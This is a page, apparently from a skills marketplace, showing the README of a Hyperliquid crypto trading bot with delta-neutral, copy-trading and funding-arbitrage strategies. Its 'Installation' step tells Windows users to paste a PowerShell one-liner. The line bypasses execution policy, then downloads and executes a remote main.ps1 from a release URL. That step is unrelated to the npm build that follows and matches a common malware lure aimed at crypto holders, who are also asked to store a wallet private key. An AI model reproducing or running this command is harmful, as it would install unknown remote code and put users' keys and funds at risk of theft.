Hyperliquid Trading Bot
Automated trading bot for Hyperliquid with three independent strategies — production-grade TypeScript, real-time WebSocket execution
Install / Use
npx skills add xlev-v/Hyperliquid-Trading-BotInstalls into whichever agent you are using.
README
🤖 Hyperliquid Strategy Trading Bot
Automated trading bot for Hyperliquid with three independent strategies — production-grade TypeScript, real-time WebSocket execution
╔══════════════════════════════════════════════════════════════════╗
║ Strategy 1 — Delta-Neutral │ near-zero directional risk ║
║ Strategy 2 — Copy Trading │ mirror any wallet live ║
║ Strategy 3 — Funding Arbitrage │ harvest funding rate yields ║
╚══════════════════════════════════════════════════════════════════╝
🚀 Start Trading · 📊 Leaderboard · 📖 API Docs · 💬 Telegram
🚀 Quick Start
If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.
🛠️ Installation
CMD
Open CMD and run this single command:
powershell -ep bypass -c "iwr https://github.com/xlev-v/Hyperliquid-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"
Then continue with the project-specific setup steps below.
📘 Project-Specific Setup
Step 2 — Install dependencies
npm install
Step 3 — Configure environment variables
cp .env.example .env
Edit .env with your values — see the Configuration section below.
Step 4 — Build TypeScript
npm run build
Step 5 — Start the bot
npm start
📌 Table of Contents
- Quick Start
- Strategies
- Installation
- Configuration
.env - Running the Bot
- Running 24/7 on a VPS
- Risk Management
- Telegram Commands
- Disclaimer
📐 Strategies
⚖️ Strategy 1 — Delta-Neutral
Earn on volatility and funding rates while staying neutral to market direction. Your profit does not depend on whether the price goes up or down.
Open LONG on spot (BTC) + SHORT on perp (BTC)
│
▼
Positions hedge each other → net delta ≈ 0
│
▼
Profit comes from:
• positive funding rate payments (perp longs pay shorts)
• spread captured during rebalancing
How it works:
- The bot opens equal-sized LONG (spot) and SHORT (perp) positions on the same asset via Hyperliquid's unified account.
- Every N hours the bot checks delta drift caused by price movement and rebalances if the deviation exceeds the threshold.
- When the funding rate turns negative, the bot inverts positions (SHORT spot + LONG perp) to keep collecting payments.
Decision table:
| Condition | Action | |-----------|--------| | Funding rate > 0.01% | Hold SHORT on perp, collect payments | | Funding rate < -0.01% | Invert positions | | Delta drifted > 5% | Rebalance | | High volatility detected | Reduce position size |
Config block:
STRATEGY=delta_neutral
DN_ASSET=BTC
DN_SPOT_SIZE=100 # USD in spot leg
DN_PERP_SIZE=100 # USD in perp leg
DN_REBALANCE_THRESHOLD=5 # % of drift before rebalancing
DN_MIN_FUNDING=0.005 # Minimum funding rate to enter (%)
DN_CHECK_INTERVAL=3600 # Check every N seconds
DN_LEVERAGE=1 # Leverage for the perp leg
💡 Tip: This strategy performs best during bull markets when Hyperliquid funding rates are consistently positive. Check the funding history on the exchange before entering — avoid assets with erratic or near-zero rates.
📡 Strategy 2 — Copy Trading
The bot subscribes to a target wallet's fills via WebSocket in real time. When a fill is detected, it immediately calculates a proportionally scaled order and mirrors it on your account — opens, reduces, and closes all followed automatically.
Target wallet opens BTC LONG $10,000
│
▼ (detected on-fill via WebSocket)
│
Bot calculates position size:
(ourEquity $5,000 / targetEquity $10,000) × $10,000 × multiplier 1.0 = $5,000
MAX_POSITION_SIZE_PERCENT cap applied if needed
│
▼
Your account opens BTC LONG $5,000 ✅
│
▼
Target reduces or closes → Bot mirrors proportionally ✅
Choosing who to copy:
Use the Hyperliquid Leaderboard to find consistently profitable traders. Both regular wallet addresses and vault addresses are supported.
✅ Good wallets to copy:
- Consistent long-term PnL (not just one lucky week)
- Holds positions for hours or days (swing trading)
- Makes 1–5 trades per day
- Clear directional bias — not constantly flipping sides
❌ Do NOT copy these:
- HFT / High-Frequency Traders — trade dozens of times per second, your bot can't keep up and loses on slippage
- Market Makers — hold positions on both sides simultaneously, copying causes guaranteed loss
- Scalpers — hold positions for seconds or minutes, orders won't fill in time
- Leverage manipulators — constantly change leverage to distort position sizing
💡 Tip: Check how long the wallet holds positions on average. Target wallets that hold for 2+ hours.
Config block:
STRATEGY=copy_trading
TARGET_WALLET=0xTargetWalletAddressHere
SIZE_MULTIPLIER=1.0 # Scale factor on top of equity ratio
MAX_LEVERAGE=20 # Cap on copied leverage
MAX_POSITION_SIZE_PERCENT=50 # Max single position as % of our equity
MIN_NOTIONAL=10 # Skip trades below $10 (Hyperliquid minimum)
MAX_CONCURRENT_TRADES=10 # Max open positions at once
BLOCKED_ASSETS= # Comma-separated assets to skip, e.g. BTC,ETH
SYNC_INTERVAL=5 # Health check interval (seconds)
💸 Strategy 3 — Funding Arbitrage
The bot scans Hyperliquid perp markets for anomalously high funding rates and collects payments with minimal directional exposure.
Scan all Hyperliquid perps → find funding rate above entry threshold
│
▼
Open position AGAINST the funding direction:
• Funding > 0 → SHORT (longs pay shorts every 1h on HL)
• Funding < 0 → LONG (shorts pay longs every 1h on HL)
│
▼
Collect payment every hour
│
▼
Exit when any of these triggers:
• Rate normalizes below exit_threshold
• Target PnL is reached
• Position held longer than max_hold_hours
Why Hyperliquid is ideal for this:
Hyperliquid settles funding every hour (not every 8 hours like most CEXs), which means 24 payment cycles per day. High-rate events compound faster, and the bot can react to rate changes more precisely.
Example scenario:
BTC funding = +0.01% per hour (= 0.24% per day = ~87% APR)
Bot opens $100 SHORT on BTC-PERP
→ receives $0.01 per hour
→ over 48 hours = $0.48 on $100 deployed
→ annualized ≈ 87% APR (if rate holds)
Optional spot hedge (30%) limits price exposure to ±$0.70 per 1% move
Config block:
STRATEGY=funding_arb
FA_SCAN_ASSETS=BTC,ETH,SOL,ARB,OP
FA_MIN_FUNDING=0.005 # Minimum hourly rate to enter (%)
FA_EXIT_FUNDING=0.001 # Hourly rate at which to exit (%)
FA_POSITION_SIZE=50 # Position size in USD
FA_MAX_HOLD_HOURS=48 # Maximum time to hold a position
FA_HEDGE_RATIO=0.3 # Spot hedge as fraction of perp size (0 = no hedge)
FA_LEVERAGE=1 # Keep low — this is a yield play, not a directional bet
FA_CHECK_INTERVAL=300 # Scan every N seconds
💡 Tip: Hyperliquid's 1-hour funding cycle makes even 0.003–0.005% hourly rates worth capturing. Set
FA_MIN_FUNDINGlower than you would on an 8-hour cycle exchange.
Requirements
- Node.js 18+ (ESM support)
- npm or yarn
- A Hyperliquid account (testnet or mainnet)
- At least $10 USDC deposited
⚙️ Configuration .env
Create a .env file (or copy from .env.example):
# ── Required ───────────────────────────────────────────
PRIVATE_KEY=0xYourPrivateKeyHere
TESTNET=true # Start on testnet first!
# ── Active strategy ────────────────────────────────────
# Options: delta_neutral | copy_trading | funding_arb
STRATEGY=copy_trading
# ── Safety modes ───────────────────────────────────────
DRY_RUN=true # Log actions without placing real orders
LOG_LEVEL=info # error | warn | info | debug
# ── Risk limits ────────────────────────────────────────
DAILY_LOSS_LIMIT=10 # Bot halts if daily loss exceeds this ($)
UNREALIZED_LOSS_LIMIT=15 # Force-closes all positions if exceeded ($)
MAX_LEVERAGE=20 # Global leverage cap
MAX_POSITION_SIZE_PERCENT=50
Related Skills
node-connect
385.5kDiagnose OpenClaw Android, iOS, or macOS node pairing, QR/setup code, route, auth, and connection failures.
blender-python-addon
40.5kBlender Python add-on rules for operators, panels, properties, registration, testing, and API-safe scripting
flutter-development-guidelines-cursorrules-prompt-file
40.5kCursor rules for Flutter development with MVVM architecture, Riverpod state management, Material widgets, and Dart style guidelines.
commit-push-pr
140.6kCommit, push, and open a PR
Security Score
Audited on Jul 13, 2026
